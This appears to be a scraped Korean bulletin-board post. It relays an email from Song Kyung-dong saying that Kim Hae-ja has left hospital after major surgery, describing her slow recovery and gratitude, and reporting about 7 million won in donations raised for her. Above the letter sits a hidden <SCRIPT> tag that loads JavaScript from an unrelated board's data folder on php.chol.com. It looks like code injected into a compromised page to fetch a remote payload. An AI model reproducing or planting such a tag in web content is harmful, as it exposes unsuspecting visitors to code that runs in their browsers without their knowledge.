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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script>
아래는 송경동 선생님께서 보내오신 메일 전문입니다 ;
김해자 선배, 잘 퇴원하셨답니다.
저번 주 토요일 집으로 옮기셨다고 합니다.
밝은 목소리..
조금씩 기운을 찾아 가시는 듯 합니다.
하지만 아직 바깥 출입은 삼가해야 해서
다들 인사 못 드린다고...
심려들 끼쳐 미안하고...
여러 마음들 내어 주신 분들께 고맙고, 고맙다고 합니다.
일반 병실로 옮겨 문병과
통화가 가능하게 된 시점이라
이제 그만 소식 알려드려도 되겠구나 싶어
연락 드리지 않았는데....
누님께서
이왕 여러분들께 여러 걱정끼쳐 드린 터라
이젠 잘 퇴원했다는 감사의 인사라도
드려야 예의일 것 같다고...
이제 많이 좋아졌으니, 너무 큰 걱정들 말아 주시라고....
모두에게 감사드린다고 전해달라시는군요.
큰 수술 뒤라 아직도 요양과 통원치료를 받으셔야 한답니다.
그래서 앞으로 몇 개월 쯤은 바깥 출입은 삼가셔야 되고
충분히 회복되고도 그전처럼 무리를 하면 안 되시는가 봅니다.
그 좋아하던 술, 담배를 이젠 할 수 없다니
그게 그리 아쉽다고 허허 웃으십니다.
다른 일보다 어디 텃밭이라도 있으면 상추 심고 따고 하는 일을 하고 싶다고
미싱이라도 다시 밟아보고 싶다고 하십니다.
좀더 기운을 차리게 되면
달라진 위치에서라도 사람들과 마음 나누며 살 수 있는 일을
찾으시겠다고도 합니다.
아마 조금 더 회복이 되시면
직접 밝고 낙천적인 목소리로 인사들 전할 듯 합니다.
참, 여러분들이 빨리 쾌유하라고 마음 모아주신 게
근 7백여 만원이 모였습니다. 내일쯤 마지막으로 통장 확인해서
남편되시는 분께
전달드릴 예정입니다.
그럼. 이만.
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